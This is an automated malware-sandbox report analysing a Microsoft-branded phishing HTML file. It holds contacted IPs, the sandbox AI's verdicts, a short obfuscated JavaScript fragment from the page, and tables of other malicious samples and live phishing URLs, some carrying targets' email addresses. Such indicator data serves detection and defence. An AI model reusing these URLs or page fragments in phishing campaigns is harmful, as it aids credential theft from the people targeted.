https://getbootstrap.com)	chromecache_97.2.dr, chromecache_110.2.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_102.2.dr, chromecache_97.2.dr, chromecache_105.2.dr, chromecache_110.2.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_108.2.dr, chromecache_107.2.dr	false	high
https://getbootstrap.com/)	chromecache_102.2.dr, chromecache_105.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.21.26.217	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.139.114	newmind.federalcourtfiles.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
170.106.97.198	cos.na-siliconvalley.myqcloud.com	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578312
Start date and time:	2024-12-19 15:12:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Eallentoff_401k_1484013830.html
Detection:	MAL
Classification:	mal72.phis.winHTML@24/33@30/12
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.162.84, 172.217.17.42, 142.250.181.74, 172.217.19.234, 142.250.181.138, 172.217.17.74, 172.217.21.42, 216.58.208.234, 172.217.19.202, 142.250.181.106, 142.250.181.142, 23.50.131.200, 192.229.221.95, 172.217.17.46, 172.217.17.35, 142.250.181.46, 23.218.208.109, 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Eallentoff_401k_1484013830.html

Input	Output
URL: file:///C:/Users/user/Desktop/Eallentoff_401k_14... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be using a function to extract a parameter value from the URL query string. While it uses some obfuscated variable names, the overall behavior is consistent with a common URL parameter parsing utility, which is a low-risk practice. There are no clear indicators of malicious intent or high-risk behaviors in the code." }
const ptrjkso = (deciphering) => { deciphering = deciphering.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]'); var benefitted = new RegExp('[\\?&]' + deciphering + '=([^&#]*)'); var polyangular = benefitted.exec(location.search); // Turkey leberkas sirloin t-bone sed corned beef jowl id brisket deserunt mollit aliquip short ribs laboris cupim. return polyangular === null ? '' : decodeURIComponent(polyangular[1].replace(/\+/g, ' ')); } //Picanha hamburger beef, doner laboris reprehenderit dolore jowl tri-tip ex alcatra. rh13z8jemt = ptrjkso('e') == '' ? rh13z8jemt : ptrjkso('e');
URL: :// Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: ://
URL: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in options", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in options", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html# Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html# Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html# Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Eallentoff_401k_1484013830.html# Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	https://nicholaspackaging.businesslawcloud.com/mTlFM	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://e.trustifi.com/#/fff2a1/305619/6dc30e/bb62bb/581844/11c063/a3c1ce/c0ba4d/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/838c7e/cd63d6/82c9fe/baf706/264690/9188a6/a54400/a45112/68deb9/a1d612/148c70/62dcf5/9cb4f7/9713c0/de2350/884a31/c8623a/2f5546/ab6255/63291e/390e78/6b371c/add804/d4bbed/01f0b4/6023ca/9b7c0b/b0881b/bd8fbb/380790/942e2d/c30675/2c79c4/594b5b/fa5dac/c17e29/ec9861/3d4f90/8d1dd9/15a5f1/e3d291/035383/58ff7f/dcf654/c36a6d/ac2219/0a7478/f49f04/50db6b/1c0640/509cd9/d5eb23/7e01e4/b5bcef/2cfb1e/1cd263/f68c45/7325e0/8e5d9b/dacf2c/074706/a0f040/11bf65/f8b4f7/b49b4f/da74f6/285aa9/b249dd/d9b9c7/1a738e/07e7fa/7ea43f/a69f97/422641/436e51/504e86	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://ngfreemessage-verifying.freewebhostmost.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.google.gr/url?url=https://pniuvlpkjqhdwff&exox=rvhqtix&eaydny=ysf&gzfds=lqrwiz&nci=qtwmzch&iccvb=yhwtsp&vtqs=avtajyu&oagvzgp=irlq&mvdoc=embwrj&yylmwei=tmn&mntt=qqcvuhkd&lkydbjfiod=izjcgyubqc&q=amp/anre6g6.j%c2%adh%c2%adhn%c2%adt%c2%addd%c2%adsm%c2%ado%c2%admcw%c2%adw%c2%adgu%c2%adno.com%e2%80%8b/99twfh3p8&gcyx=ncgobia&yfevoul=wtloixvv&hukl=qfkmtky&nlhwnbr=bwkoiopy&eqfw=bmcpntp&vlvegw=zdbpajeyq&ghrv=kcdfwrl&kyddme=myxsnvtxf&asco=mgumegd&dvvibf=hzfexefeg&osme=bdyguyp&njtjvd=bkelfwmxg&bxrb=ltpyjsv&girpat=lswjchrwc&qapj=wwwowde&vahefc=ghseyzgyf&ahaj=zfqmkuo&pfsfeu=ttucmtamu&sffs=oxaajjo&hbwhgy=mgfzglmmo&bdwl=oifsufx&befsmv=jskhtmnps&sfjy=powmsnr&zixjqp=jyttdwbmu&fzkp=hztiqjm&jmzuvc=ufyoeqgfi&zujr=jxtbdtg&plvxoh=fxumxxddw&nkin=ykbzrdh&lghzli=agvbttfta&suag=ioudcjc&zpptpx=dxacgdnox&hmfz=yueoymp&fnshpz=wgayslegy&gjtg=qcjjozv&rymask=thcxzfpca&zcgn=ywtonnx&kqrpog=kgfvcqswk&imwa=wlvocxf&ggqznt=budaflbgp&zjhr=zscgach&esrhmq=qjdngljnl&ppoz=nhwzlik&zejsqg=vnvpaymyl&dnqb=kjswpyt&kunwbg=pzauoqliz&bqlz=qabnsnu&dlfnsr=dakxdfzen&uffg=uwnswdr&ywjevz=bnvkfavcb&rrob=celdmvn&czdusr=sjfjazfqw&ipgr=exylggn&fltcvh=sdfsricvf&byfs=apntxot&javhwh=nyphchiee&owbh=haflpez&mbyvqw=pdzpxeedx&ejov=taakkyw&oylsfz=qnzuplrnz&hxrq=ovegslq&duqjcc=pjwdpyvec&uoec=pjouxrb&eiezwk=okbkttiao&knji=kcmfaqe&qmathj=vymnqrvxa&gajs=riewukz&czxhiu=uysriqpma&avwe=gssbenk&jnwgpb=iqkroelwx&sjyt=zhxfzpx&liqoqs=bbajxgpxm&dqqu=ztzooam&haagcu=gkijlwgjy&mnsq=uervedi&yckhpb=ngqrbrqpc&pkne=nwisdfz&eqsiqu=mlrhvpuav	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://atc-secure.com/nocod/wetransdnyd.html#k.muench@muenchundmuench.com	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.sendspace.com/pro/dl/m2hhc1	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://www.sendspace.com/pro/dl/m2hhc1	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com	Get hash	malicious	Unknown	Browse	104.18.11.207
	secure.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
code.jquery.com	Non-Disclosure Agreement.html	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://nicholaspackaging.businesslawcloud.com/mTlFM	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://e.trustifi.com/#/fff2a1/305619/6dc30e/bb62bb/581844/11c063/a3c1ce/c0ba4d/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/838c7e/cd63d6/82c9fe/baf706/264690/9188a6/a54400/a45112/68deb9/a1d612/148c70/62dcf5/9cb4f7/9713c0/de2350/884a31/c8623a/2f5546/ab6255/63291e/390e78/6b371c/add804/d4bbed/01f0b4/6023ca/9b7c0b/b0881b/bd8fbb/380790/942e2d/c30675/2c79c4/594b5b/fa5dac/c17e29/ec9861/3d4f90/8d1dd9/15a5f1/e3d291/035383/58ff7f/dcf654/c36a6d/ac2219/0a7478/f49f04/50db6b/1c0640/509cd9/d5eb23/7e01e4/b5bcef/2cfb1e/1cd263/f68c45/7325e0/8e5d9b/dacf2c/074706/a0f040/11bf65/f8b4f7/b49b4f/da74f6/285aa9/b249dd/d9b9c7/1a738e/07e7fa/7ea43f/a69f97/422641/436e51/504e86	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	NieuwBetalingsbevestigingvoor vanas.eu.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	151.101.66.137
	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://fm.blebsions.com/R7tS/	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://vCyA.warmickmak.ru/PrEvJj/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://52kz793.afratradingagency.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
cdnjs.cloudflare.com	Non-Disclosure Agreement.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://nicholaspackaging.businesslawcloud.com/mTlFM	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://e.trustifi.com/#/fff2a1/305619/6dc30e/bb62bb/581844/11c063/a3c1ce/c0ba4d/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/838c7e/cd63d6/82c9fe/baf706/264690/9188a6/a54400/a45112/68deb9/a1d612/148c70/62dcf5/9cb4f7/9713c0/de2350/884a31/c8623a/2f5546/ab6255/63291e/390e78/6b371c/add804/d4bbed/01f0b4/6023ca/9b7c0b/b0881b/bd8fbb/380790/942e2d/c30675/2c79c4/594b5b/fa5dac/c17e29/ec9861/3d4f90/8d1dd9/15a5f1/e3d291/035383/58ff7f/dcf654/c36a6d/ac2219/0a7478/f49f04/50db6b/1c0640/509cd9/d5eb23/7e01e4/b5bcef/2cfb1e/1cd263/f68c45/7325e0/8e5d9b/dacf2c/074706/a0f040/11bf65/f8b4f7/b49b4f/da74f6/285aa9/b249dd/d9b9c7/1a738e/07e7fa/7ea43f/a69f97/422641/436e51/504e86	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	NieuwBetalingsbevestigingvoor vanas.eu.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://init-area.fr/AB	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://ipfs.io/ipfs/bafybeih7f27bkklyai5zhnf5s57wuee5khsdrrblepmiz5bozrxxoam2lq/index12.html#pdeneve@vanas.eu	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.17.24.14
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse	104.17.24.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	104.21.40.214
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.13.202.149
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.67.146
	Non-Disclosure Agreement.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	rs.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.67.211.185
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	104.21.93.157
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
CLOUDFLARENETUS	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	104.21.40.214
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.13.202.149
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.67.146
	Non-Disclosure Agreement.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	rs.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.67.211.185
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	104.21.93.157
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
CLOUDFLARENETUS	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	104.21.40.214
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.13.202.149
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.67.146
	Non-Disclosure Agreement.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	rs.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.67.211.185
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	104.21.93.157
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 19 13:13:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9802021048240275
Encrypted:	false
SSDEEP:	48:8CFdiTuaNHyHidAKZdA19ehwiZUklqehDy+3:8CKDoMy
MD5:	DB9CBA7E119653E9B10F29513791AC49
SHA1:	78E71109CB8F13F64947C8EA731B6F7759527DD9
SHA-256:	210D5F8DB8C9D372D7ECEADC4FE58A8D1BE4395CF7FE491A4AA0234DB213137D
SHA-512:	54A332716443EB6106148F1B857893A46B724621BD722EB896446A2BF72D3AB01AEF617910DC06CCC442BAF936923812C5C124088A34046A1447DE65FEC2F231
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....f..- R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 19 13:13:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9956391825613315
Encrypted:	false
SSDEEP:	48:8ddiTuaNHyHidAKZdA1weh/iZUkAQkqeh8y+2:8SDi9QRy
MD5:	366A0E6B2433DB401D2C5FAE9C2874E9
SHA1:	63BCD163E043374DF49CA6B886E02E9A733517AD
SHA-256:	6DF9800E670AA5DB25286C7DB033238FCED81E22F806384DD4BA6248790640BB
SHA-512:	29F6A0F29BAC3F78A7D8AAC295FE229445DD56666755D948F1F2B5C4011C4B9E538FAC225389586EA8F87BA8264ADA2246A6CE42379ABEFED5AE2326B00FB146
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....X.- R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.008176948547959
Encrypted:	false
SSDEEP:	48:8xLdiTuasHyHidAKZdA14tseh7sFiZUkmgqeh7sCy+BX:8xUD5n4y
MD5:	329D4A6C314F021DAF4394B24A65360B
SHA1:	AF3573778319DFF21D2F7663ACF093481189294F
SHA-256:	AB64CF506D806822BA783CEC208EBA9CF33BB4F673EC02B00FE01DFA816DC28E
SHA-512:	F7E4DD4A89E0151C0CE0BBF157E8C635CDA1FF85D6DA5E6DDACE912598A201C77EDE7F06C40EAC75D72E685F4D1458D35064DCD3316700A7E1D791F1D0935B2B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. 